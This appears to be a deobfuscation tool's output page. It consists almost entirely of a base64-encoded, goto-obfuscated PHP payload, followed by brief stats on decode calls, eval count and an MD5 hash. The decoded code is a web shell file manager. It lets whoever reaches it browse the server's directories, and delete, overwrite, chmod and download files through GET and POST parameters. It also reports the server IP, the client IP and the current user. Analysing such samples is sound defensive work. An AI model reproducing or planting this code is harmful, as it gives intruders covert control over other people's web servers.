ICRkaXJlY3RvcnkgPSBpc3NldCgkX0dFVFsiXHg2NFx4NjlceDcyIl0pID8gJF9HRVRbIlx4NjRceDY5XDE2MiJdIDogIlw1NiI7IGdvdG8gZTNBUlM7IEkyX0dGOiA/Pgo8L3Rib2R5PjwvdGFibGU+PD9waHAgIGdvdG8gSXIxQVI7IFNFUlpHOiBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBocFZlcnNpb24pOyBnb3RvIFhIbWtqOyBscnJ6dTogJGN1cnJlbnRfZGlyID0gaXNzZXQoJF9HRVRbIlwxNDRceDY5XHg3MiJdKSA/ICRfR0VUWyJceDY0XDE1MVwxNjIiXSA6IGRpcm5hbWUoX19GSUxFX18pOyBnb3RvIGR4XzR3OyBqZjEwcTogZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7IGlmICgkZmlsZSA9PT0gIlx4MmUiIHx8ICRmaWxlID09PSAiXHgyZVx4MmUiKSB7IGNvbnRpbnVlOyB9ICRmaWxlUGF0aCA9ICRkaXJlY3RvcnkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGU7ICRmaWxlU2l6ZSA9IGlzX2ZpbGUoJGZpbGVQYXRoKSA/IGZvcm1hdEJ5dGVzKGZpbGVzaXplKCRmaWxlUGF0aCkpIDogJyc7ICRwZXJtaXNzaW9ucyA9IHN1YnN0cihzcHJpbnRmKCJcNDVcMTU3IiwgZmlsZXBlcm1zKCRmaWxlUGF0aCkpLCAtNCk7IGVjaG8gIlw3NFwxNjRceDcyXDc2IjsgaWYgKGlzX2RpcigkZmlsZVBhdGgpKSB7IGVjaG8gIlw3NFwxNjRceDY0XDc2XHgzY1x4NjFceDIwXHg2OFx4NzJcMTQ1XDE0Nlx4M2RcNDJcNzdcMTQ0XDE1MVwxNjJcNzUiIC4gdXJsZW5jb2RlKCRmaWxlUGF0aCkgLiAiXHgyMlx4M2VcNzRceDY5XHgyMFwxNDNcMTU0XDE0MVx4NzNcMTYzXDc1XDQ3XDE0NlwxNDFceDczXHgyMFwxNDZceDYxXHgyZFwxNDZceDZmXDE1NFwxNDRcMTQ1XDE2Mlx4MjdcNzZceDNjXDU3XHg2OVx4M2VcNDB7JGZpbGV9XDc0XHgyZlwxNDFcNzZceDNjXDU3XHg3NFx4NjRceDNlIjsgfSBlbHNlIHsgZWNobyAiXHgzY1wxNjRceDY0XDc2XDc0XHg2OVx4MjBcMTQzXHg2Y1x4NjFceDczXHg3M1w3NVx4MjdceDY2XDE0MVwxNjNcNDBcMTQ2XHg2MVx4MmRceDY2XDE1MVx4NmNcMTQ1XDQ3XDc2XDc0XHgyZlx4NjlceDNlXDQweyRmaWxlfVx4M2NcNTdceDc0XDE0NFx4M2UiOyB9IGVjaG8gIlw3NFx4NzRceDY0XHgzZXskZmlsZVNpemV9XHgzY1w1N1wxNjRceDY0XDc2IjsgZWNobyAiXHgzY1wxNjRceDY0XHgzZXskcGVybWlzc2lvbnN9XHgzY1x4MmZcMTY0XHg2NFw3NiI7IGVjaG8gIlx4M2NcMTY0XDE0NFx4MjBcMTQzXDE1NFx4NjFceDczXDE2M1x4M2RceDI3XHg2NlwxNTFcMTU0XDE0NVx4MmRcMTQxXDE0M1x4NzRcMTUxXDE1N1x4NmVceDczXDQ3XHgzZSI7IGVjaG8gIlx4M2NceDY2XHg2Zlx4NzJcMTU1XDQwXDE1NVwxNDVceDc0XHg2OFx4NmZcMTQ0XHgzZFx4MjdcMTIwXDExN1wxMjNceDU0XDQ3XDQwXDE0MVwxNDNceDc0XDE1MVwxNTdceDZlXHgzZFx4MjdcNDdcNzZceDNjXHg2OVwxNTZceDcwXDE2NVwxNjRcNDBceDc0XDE3MVwxNjBcMTQ1XHgzZFx4MjdcMTUwXHg2OVwxNDRcMTQ0XHg2NVx4NmVcNDdcNDBceDZlXDE0MVwxNTVcMTQ1XDc1XDQ3XDE2NFwxNDFcMTYyXHg2N1x4NjVceDc0XHgyN1x4MjBceDc2XHg2MVx4NmNceDc1XDE0NVx4M2RceDI3IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVQYXRoKSAuICJceDI3XHgzZSI7IGlmIChpc19maWxlKCRmaWxlUGF0aCkpIHsgZWNobyAiXHgzY1x4NjJcMTY1XHg3NFwxNjRcMTU3XDE1Nlx4MjBcMTY0XHg3OVx4NzBceDY1XHgzZFx4MjdcMTYzXHg3NVwxNDJcMTU1XHg2OVx4NzRceDI3XDQwXDE1Nlx4NjFcMTU1XHg2NVx4M2RceDI3XHg2MVwxNDNceDc0XHg2OVx4NmZcMTU2XDQ3XDQwXHg3NlwxNDFcMTU0XHg3NVwxNDVcNzVceDI3XDE0NVx4NjRceDY5XHg3NFx4MjdcNzZcNzRcMTUxXDQwXDE0M1x4NmNcMTQxXHg3M1wxNjNceDNkXDQ3XDE0NlwxNDFcMTYzXHgyMFwxNDZceDYxXHgyZFx4NjVceDY0XDE1MVx4NzRceDI3XDc2XDc0XHgyZlx4NjlcNzZceDNjXHgyZlwxNDJcMTY1XDE2NFwxNjRceDZmXDE1Nlx4M2UiOyBlY2hvICJcNzRceDYyXDE2NVx4NzRceDc0XDE1N1x4NmVcNDBceDc0XHg3OVwxNjBceDY1XDc1XDQ3XDE2M1wxNjVceDYyXHg2ZFwxNTFceDc0XDQ3XHgyMFwxNTZcMTQxXHg2ZFx4NjVceDNkXHgyN1wxNDFceDYzXDE2NFwxNTFceDZmXDE1Nlw0N1w0MFx4NzZcMTQxXHg2Y1wxNjVcMTQ1XHgzZFx4MjdceDY0XHg2ZlwxNjdcMTU2XHg2Y1x4NmZceDYxXDE0NFx4MjdceDNlXDc0XHg2OVx4MjBceDYzXDE1NFwxNDFcMTYzXHg3M1x4M2RcNDdcMTQ2XDE0MVx4NzNcNDBcMTQ2XDE0MVx4MmRceDY0XDE1N1wxNjdceDZlXHg2Y1x4NmZcMTQxXHg2NFw0N1x4M2VceDNjXHgyZlx4NjlcNzZceDNjXDU3XHg2Mlx4NzVceDc0XDE2NFx4NmZcMTU2XHgzZSI7IH0gZWNobyAiXDc0XHg2MlwxNjVceDc0XDE2NFwxNTdceDZlXHgyMFx4NzRceDc5XDE2MFwxNDVceDNkXDQ3XDE2M1wxNjVcMTQyXHg2ZFwxNTFcMTY0XDQ3XHgyMFx4NmVcMTQxXDE1NVx4NjVceDNkXHgyN1wxNDFcMTQzXDE2NFwxNTFcMTU3XDE1Nlx4MjdcNDBceDc2XHg2MVwxNTRceDc1XHg2NVx4M2RceDI3XHg2NFwxNDVcMTU0XDE0NVwxNjRcMTQ1XDQ3XDc2XDc0XDE1MVw0MFx4NjNcMTU0XHg2MVx4NzNcMTYzXDc1XDQ3XDE0NlwxNDFcMTYzXHgyMFwxNDZceDYxXDU1XHg3NFwxNjJcMTQxXHg3M1wxNTBceDI3XDc2XDc0XHgyZlx4NjlcNzZcNzRceDJmXHg2MlwxNjVcMTY0XHg3NFwxNTdcMTU2XHgzZSI7IGVjaG8gIlw3NFwxNDJceDc1XHg3NFx4NzRceDZmXHg2ZVx4MjBcMTY0XHg3OVx4NzBcMTQ1XDc1XHgyN1x4NzNcMTY1XDE0MlwxNTVceDY5XHg3NFx4MjdceDIwXDE1Nlx4NjFcMTU1XHg2NVx4M2RceDI3XHg2MVwxNDNceDc0XHg2OVx4NmZceDZlXHgyN1w0MFwxNjZceDYxXHg2Y1wxNjVcMTQ1XHgzZFx4MjdcMTQzXHg2OFwxNTVcMTU3XHg2NFw0N1x4M2VcNzRceDY5XHgyMFx4NjNcMTU0XHg2MVx4NzNceDczXDc1XDQ3XHg2Nlx4NjFceDczXDQwXDE0NlwxNDFcNTVcMTUzXDE0NVx4NzlcNDdceDNlXDc0XDU3XHg2OVw3Nlw3NFx4MmZceDYyXDE2NVx4NzRcMTY0XDE1N1wxNTZceDNlIjsgZWNobyAiXHgzY1x4MmZcMTQ2XHg2ZlwxNjJcMTU1XDc2IjsgZWNobyAiXDc0XHgyZlwxNjRceDY0XHgzZSI7IGVjaG8gIlw3NFw1N1x4NzRcMTYyXDc2IjsgfSBnb3RvIEkyX0dGOyB1eTdpNTogJGRhdGVUaW1lID0gZGF0ZSgiXHg1OVw1NVx4NmRceDJkXDE0NFx4MjBceDQ4XDcyXDE1MVw3MlwxNjMiKTsgZ290byBxNlh0QTsgTU5ldzU6ICRzZXJ2ZXJJUCA9ICRfU0VSVkVSWyJcMTIzXHg0NVwxMjJcMTI2XDEwNVwxMjJceDVmXHg0MVx4NDRceDQ0XHg1MiJdOyBnb3RvIEswR0NGOyBTajVJQjogJHVzZXJuYW1lID0gZ2V0X2N1cnJlbnRfdXNlcigpOyBnb3RvIFZENUE3OyBLMEdDRjogJGNsaWVudElQID0gJF9TRVJWRVJbIlx4NTJceDQ1XHg0ZFx4NGZcMTI0XDEwNVwxMzdcMTAxXDEwNFx4NDRcMTIyIl07IGdvdG8gUm5wZ1A7IGZMTmcxOiAkZmlsZXMgPSBhcnJheSgpOyBnb3RvIGh1YUdFOyBCYjZKVDogaWYgKGlzc2V0KCRfUE9TVFsiXDE0MVwxNDNceDc0XHg2OVx4NmZceDZlIl0pKSB7ICRhY3Rpb24gPSAkX1BPU1RbIlwxNDFcMTQzXHg3NFwxNTFcMTU3XDE1NiJdOyAkdGFyZ2V0ID0gJF9QT1NUWyJceDc0XDE0MVwxNjJcMTQ3XDE0NVwxNjQiXTsgc3dpdGNoICgkYWN0aW9uKSB7IGNhc2UgIlwxNDRcMTQ1XDE1NFwxNDVceDc0XDE0NSI6IGlmIChpc19kaXIoJHRhcmdldCkpIHsgZGVsZXRlRGlyZWN0b3J5KCR0YXJnZXQpOyB9IGVsc2UgeyB1bmxpbmsoJHRhcmdldCk7IH0gYnJlYWs7IGNhc2UgIlx4NjVceDY0XDE1MVwxNjQiOiBpZiAoZmlsZV9leGlzdHMoJHRhcmdldCkpIHsgJGVkaXRGaWxlQ29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0YXJnZXQpOyB9IGJyZWFrOyBjYXNlICJcMTYzXDE0MVx4NzZcMTQ1IjogaWYgKGZpbGVfZXhpc3RzKCR0YXJnZXQpICYmIGlzc2V0KCRfUE9TVFsiXDE0M1x4NmZcMTU2XDE2NFx4NjVcMTU2XHg3NCJdKSkgeyBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0LCAkX1BPU1RbIlx4NjNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVx4NzQiXSk7IH0gYnJlYWs7IGNhc2UgIlwxNDNceDY4XHg2ZFwxNTdcMTQ0IjogaWYgKGlzc2V0KCRfUE9TVFsiXHg3MFwxNDVceDcyXDE1NVwxNTFcMTYzXHg3M1x4NjlcMTU3XHg2ZVx4NzMiXSkpIHsgY2htb2QoJHRhcmdldCwgb2N0ZGVjKCRfUE9TVFsiXHg3MFwxNDVceDcyXHg2ZFwxNTFceDczXDE2M1wxNTFceDZmXDE1Nlx4NzMiXSkpOyB9IGJyZWFrOyBjYXNlICJcMTQ0XDE1N1wxNjdcMTU2XDE1NFwxNTdceDYxXDE0NCI6IGlmIChmaWxlX2V4aXN0cygkdGFyZ2V0KSkgeyBoZWFkZXIoIlx4NDNcMTU3XDE1NlwxNjRcMTQ1XHg2ZVwxNjRcNTVcMTA0XHg2NVx4NzNcMTQzXDE2Mlx4NjlceDcwXDE2NFwxNTFcMTU3XDE1Nlw3Mlw0MFwxMDZceDY5XHg2Y1wxNDVcNDBceDU0XDE2Mlx4NjFceDZlXHg3M1wxNDZcMTQ1XHg3MiIpOyBoZWFkZXIoIlwxMDNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVx4NzRcNTVceDU0XHg3OVx4NzBcMTQ1XHgzYVw0MFwxNDFcMTYwXHg3MFx4NmNceDY5XHg2M1wxNDFcMTY0XDE1MVx4NmZcMTU2XDU3XDE1N1x4NjNcMTY0XDE0NVx4NzRceDJkXHg3M1wxNjRceDcyXHg2NVwxNDFcMTU1Iik7IGhlYWRlcigiXDEwM1wxNTdceDZlXDE2NFx4NjVcMTU2XDE2NFw1NVx4NDRcMTUxXDE2M1wxNjBcMTU3XDE2M1x4NjlceDc0XHg2OVwxNTdceDZlXHgzYVx4MjBceDYxXHg3NFx4NzRceDYxXDE0M1x4NjhcMTU1XHg2NVwxNTZcMTY0XHgzYlx4MjBcMTQ2XDE1MVx4NmNcMTQ1XHg2ZVwxNDFcMTU1XDE0NVx4M2QiIC4gYmFzZW5hbWUoJHRhcmdldCkpOyBoZWFkZXIoIlx4NDVcMTcwXHg3MFx4NjlceDcyXHg2NVx4NzNceDNhXHgyMFw2MCIpOyBoZWFkZXIoIlwxMDNcMTQxXDE0M1x4NjhceDY1XHgyZFx4NDNceDZmXDE1NlwxNjRcMTYyXHg2Zlx4NmNcNzJceDIwXDE1NVwxNjVceDczXHg3NFx4MmRceDcyXHg2NVx4NzZcMTQxXHg2Y1x4NjlceDY0XDE0MVwxNjRcMTQ1Iik7IGhlYWRlcigiXHg1MFwxNjJceDYxXHg2N1wxNTVceDYxXDcyXHgyMFwxNjBcMTY1XHg2MlwxNTRceDY5XDE0MyIpOyBoZWFkZXIoIlwxMDNcMTU3XDE1Nlx4NzRcMTQ1XDE1NlwxNjRceDJkXHg0Y1wxNDVcMTU2XDE0N1wxNjRcMTUwXDcyXHgyMCIgLiBmaWxlc2l6ZSgkdGFyZ2V0KSk7IHJlYWRmaWxlKCR0YXJnZXQpOyBkaWU7IH0gYnJlYWs7IH0gfSBnb3RvIGQ4dnFaOyB2NmNqWDogPz4KPC9kaXY+PC9ib2R5PjwvaHRt')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 3ad25b6595d76baec1abe9eab94faabe
Eval Count 1
Decode Time 113 ms